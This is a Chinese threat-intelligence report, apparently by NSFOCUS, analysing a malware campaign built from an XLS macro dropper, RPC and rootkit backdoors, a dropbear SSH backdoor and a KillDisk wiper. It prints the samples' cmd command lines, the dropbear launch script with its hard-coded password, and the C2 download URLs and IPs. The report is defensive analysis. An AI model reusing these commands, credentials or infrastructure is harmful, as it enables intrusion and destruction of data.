启动过程可以设置不同的参数,实现不同的功能枚举系统进程并提升进程权限设置系统注册表配置项获取关机权限、关机终止进程wininit.exe,lsass.exe获取系统权限清除系统日志API编码、保护硬盘设备PhysicalDrive%Num%(Num从0到10) 清零多种文件类型的处理 8|24 详细文件功能 XLS MD5:97b7577d13cf5e3bf39cbe6d3f0a7732主要功能:释放C:\Users\Dell\AppData\Local\Temp\vba_macro.exe文件,并启动执行。
图3XLS中的宏代码 vba_macro.exe MD5:abeab18ebae2c3e445699d256d5f5fb1•首先获取网卡详细信息,使用函数:GetAdaptersInfo。
•创建并写入C:\Users\Dell\AppData\Local\FONTCACHE.DAT文件。
使用rundll32.dll调用该文件, 参数#
1,调用第一个导出函数PacketAllocatePacket执行。
•自删除。
9|24 使用ShellExecuteA启动cmd.exe,参数/s/c"for/L%iin(1,1,100)do(del/F"C:\Users\Dell\AppData\Local\Temp\VBA_MA~
1.EXE"&pinglocalhost-n2&ifnotexist"C:\Users\Dell\AppData\Local\Temp\VBA_MA~
1.EXE"Exit1) FONTCACHE.DAT MD5:cdfb4cda9144d01fb26b5449f9d189ff•创建线程(0x10011C91),作为RPC服务端程序,进行RPC通道监听。
通道使用命名的Pipe(“\Pipe\{AA0EED25-4167-4CBB-BDA8-9A0F5FF93EA8}”),监听过程使用三个函数(rpcrt4.RpcServerUseProtseqEpA,rpcrt4.RpcServerRegisterIf2,rpcrt4.RpcServerListen)完成。
•下载文件首先对svchost.exe进行代码注入: 图4RPC通道监听 图5svchost.exe进程中注入的代码注入的代码的主要功能是调用iexplore.exe进程。
10|24 图6svchost.exe创建iexplore.exe进程Iexplore.exe有网络请求,网址已经失效,所以,请求失败。
图7explore.exe的网络操作•URL:http://5.9.32.230/Microsoft/Update/KS1945777.php FONTCACHE.EXE中出现的网络连接字符串是:URL:http://5.149.254.114/Microsoft/Update/KC074913.php,FONTCACHE.EXE中没有跟踪到网路操作。
Droper2.exe MD5:1d6d926f9287b4e4cb5bfc271a164f51•释放并执行驱动文件11|24 文件名:C:\Windows\system32\drivers\adpu320.sys(e60854c96fab23f2c857dd6eb745961c)并加载执行。
adpu320.sys文件名是随机生成的。
加载方式为: 1使用函数:CreateProcessA2参数:ModuleFileName="C:\Windows\system32\cmd.exe",3CommandLine=4"/c"pinglocalhost-n8&move/Y"C:\Windows\adpu320s""C:\Windows\system32\drivers\a dpu320.sys"&pinglocalhost-n3&startadpu320""。
•获取、还原文件user32.dll.mui的所有权user32.dll.mui中保存了系统的版本与水印信息。
1获取文件所有权2使用函数:CreateProcessA3参数:CommandLine="C:\Windows\system32\cmd.exe/cC:\Windows\System32\takeown.exe /f"C:\Windows\System32\zh-CN\user32.dll.mui""45恢复文件所有权6使用函数:CreateProcessA7参数:ModuleFileName=NULL80018EF440018EF74|CommandLine="C:\Windows\system32\cmd.exe/c"C:\Windows\Syst em32\icacls.exeC:\Windows\System32\zh-CN\user32.dll.mui/grant%username%:F"" •对svchost.exe进行代码注入注入代码主要用于两个方面,1网络连接,地址:5.9.32.230:443;2对文件Ntkrnlpa.exe进行写入操 作,用于对释放的驱动程序进行保护。
通过绿盟科技翠鸟软件行为分析系统Kingfisher中,可以看到该文件的执行流程图如下所示: 12|24 图8Droper2.exe的执行过程 Driver.sys 驱动文件分32bit和64bit两类,执行的基本功能相同。
表2驱动程序MD5列表 Windows64位驱动MD5 Windows32位驱动MD5 MD5:d98f4fc6d8bb506b27d37b89f7ce89d0 MD5:0d2022d6148f521c43b9573cd79ead54 MD5:18e7885eab07ebfb6d1c9303b992ca21 MD5:e60854c96fab23f2c857dd6eb745961c MD5:2a8ac6f39 MD5:97d6d1b36171bc3eafdd0dc07e7a4d2d MD5:979413f9916e8462e960a4eb794824fc MD5:1e439a13df4b7603f5eb7a975235065e MD5:dd6ca MD5:a0b7b80c3c1d9c1c432a740fa17c6126 MD5:956246139f93a83f134a39cd55512f6d MD5:60d3185aff17084297a2c4c2efdabdc9 MD5:66b96dcef158833027fcf222004b64d8 MD5:03e9477f8da8f6f61b03a01d5a38918f MD5:0037b485aa6938ba2ead234e211425bb MD5:ed55997aada076dc61e20e1d1218925a MD5:2cae5e949f1208d13150a9d492a706c1 驱动文件主要用于代码注入,其注入代码完成与C&C服务器通信。
•驱动被Installer加载后,首先执行解压脱壳,然后创建设备驱动,名字为: \\DosDevices\\{C9059FFF-1C49-83E8-4F16387C720}、 13|24 \\DosDevices\\{C9059FFF-1C49-4445-83E8-4F16387C3800},用来与用户端(main.dll)通信;之后进行代码注入,将shellcode写入在svchost.exe中申请的内存空间,再通过APC线程注入方式注入svchost.exe。
•注入的shellcode与Rootkit代码,黑客统一使用了通过压栈API函数的HASH值,调用_GetFuncAddr动态获取API函数地址,用来干扰和对抗逆向分析。
•驱动文件均伪装成微软的系统文件,不过没有合法签名(USBMDMDriver、AMDIDEdriver)。
•通过定位windows内核(ntoskrnl.exe)及关键链接库(hal.dll)中的数据,获取要调用的函数,为了保证程序尺寸足够小,通过保存要获取函数的函数名hash值,获取函数地址时,通过hash碰撞定位函数地址;其中windows32位驱动程序均进行了加壳处理。
•APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的。
SSH_Backdoor.exe(dropbear.exe) MD5:fffeaba10fd83c59c28f025c99d063f8功能:这个文件是一个SSH服务器程序,是从现有的第三方SSH服务端dropbear的代码修改的。
使用了内置的默认密码(passDs5Bu9Te7)进行登录验证。
图9SSH服务器密码校验代码 14|24 图10SSH服务器程序的RSA认证密钥 该文件是由一段Shell脚本启动的: 1SetWshShell=CreateObject("WScript.Shell")2WshShell.CurrentDirectory="C:\WINDOWS\TEMP\Dropbear\"3WshShell.Run"dropbear.exe-rrsa-ddss-a-p6789",0,false Killdisk组件 文件1:03372(MD5)以服务启动,创建C:\Windows\svchost.exe文件,将自己的代码写入到该文件中,然后将该文件作为服务启动。
启动过程可以设置不同的参数,实现不同的功能。
15|24 图11以服务形式启动该文件的代码片段 图12枚举系统进程并提升进程权限 16|24 图13设置系统注册表配置项代码片段 图14获取关机权限代码片段 文件2:7361b64ddca90a1a1de43185bd509b64(MD5)该文件主要用于获取系统权限与清除系统日志。
获取的权限包括: 1SE_SECURITY_PRIVILEGE2SE_BACKUP_PRIVILEGE3SE_RESTORE_PRIVILEGE4SE_SYSTEMTIME_PRIVILEGE5SE_SHUTDOWN_PRIVILEGE6SE_REMOTE_SHUTDOWN_PRIVILEGE7SE_TAKE_OWNERSHIP_PRIVILEGE8SE_SYSTEM_ENVIRONMENT_PRIVILEGE9SE_SYSTEM_PROFILE_PRIVILEGE10SE_PROF_SINGLE_PROCESS_PRIVILEGE11SE_INC_BASE_PRIORITY_PRIVILEGE12SE_CREATE_PAGEFILE_PRIVILEGE13SE_INCREASE_QUOTA_PRIVILEGE14SE_MANAGE_VOLUME_PRIVILEGE 17|24 图15提升进程权限代码片段 18|24 图16清除日志代码片段 图17API编码代码片段 图18初始化安全描述符代码片段文件3:cd1aa880f30f9b8bb6cf4d4f9e41ddf4该文件主要用于对硬盘设备PhysicalDrive%Num%(Num从0到10)进行清零。
19|24 图19硬盘清零代码片段文件4:66676deaa9dfe98f8497392064aefbab添加了对多种文件类型的处理。
20|24 图20部分文件类型列表 木马行为分析及攻击定位 行为分析 文件分析 •由xls释放vba_macro.exe。
•由vba_macro.exe释放主dll文件并从网络下载相关的组件。
•样本有对NTUSER.LOG文件的读写•对整个硬盘文件的遍历与删除 进程分析 •结束进程,关闭windows安全机制。
主要结束两个进程:lsass.exe和wininit.exe.lsass.exe是一个系统进程,用于微软Windows系统的安全机制。
它用于本地安全和登陆策略 21|24 wininit.exe的工作是开启一些主要的Vista-Win7、Win8后台服务,比如中央服务管理器ServiceCentralManager(SCM),本地安全验证子系统LocalSecurityAuthoritySubsystem(LSASS)和本地会话管理器LocalSessionManager(LSM.EXE). •进程注入FONTCACHE.DAT和驱动文件都会对Svchost.exe进行代码注入。
FONTCACHE.DAT注入的代码的功能是网络连接,下载文件。
驱动文件注入代码的功能是C&C服务器通信。
•安装服务Killdisk以服务形式启动 网络分析 •整个样本操作的IP地址列表 15.149.254.11425.9.32.230331.210.111.154488.198.25.925146.0.74.76188.40.8.72 •文件下载URLFONTCACHE.DAT中有网络操作,URL:http://5.149.254.114/Microsoft/Update/KC074913.phpIexplore.exe中使用的URL:http://5.9.32.230/Microsoft/Update/KS1945777.php 注册表分析 •Explorer注册表设置 1"HKEY_CURRENT_USER\Software\Microsoft\Explorer\Main\Check_Associations"no2"HKEY_CURRENT_USER\Software\Microsoft\Explorer\InformationBar\FirstTime"03"HKEY_CURRENT_USER\Software\Microsoft\Explorer\NewWindows\PopupMgr""no"4"HKEY_CURRENT_USER\Software\Microsoft\Explorer\PhishingFilter\Enabled"05"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Settings\Cache\P ersistent"06"HKEY_CURRENT_USER\Software\Microsoft\Explorer\TabbedBrowsing\WarnOnClose" 07"HKEY_CURRENT_USER\Software\Microsoft\Explorer\TabbedBrowsing\WarnOnCloseAdv anced"08"HKEY_CURRENT_USER\Software\Microsoft\Explorer\Main\DisableFirstRunCustomize" 19"HKEY_CURRENT_USER\Software\Microsoft\Explorer\Recovery\NoReopenLastSession" 1 22|24 10"HKEY_CURRENT_USER\Software\Microsoft\Explorer\Main\NoProtectedModeBanner"
1 •系统注册表配置信息 1HKEY_LOCAL_MACHINE\Software\MicrosoftSecurity\ConfigFlags 攻击定位 利用技术跟踪 •社会工程学传播•后门程序•RPC通道监听•多进程通信 威胁情报 图21各个IP地址定位信息 威胁情报的获取及响应都体现了防御能力的建设程度,威胁情报服务体系至少包含了威胁监测及响应、数据分析及整理、业务情报及交付、风险评估及咨询、安全托管及应用等各个方面,涉及研究、产品、服务、运营及营销的各个环节,绿盟科技通过研究、云端、产品、服务等立体的应急响应体系,向企业和组织及时提供威胁情报,并持续对对匿名者攻击事件进行关注,保障客户业务的顺畅运行。
如果您对我们提供的内容有任何疑问,或者需要了解更多的信息,可以随时通过在微博、微信中搜索绿盟科技联系我们,欢迎您的垂询! 23|24 关于绿盟科技 北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。
在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。
基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。
北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。
24|24
声明:
该资讯来自于互联网网友发布,如有侵犯您的权益请联系我们。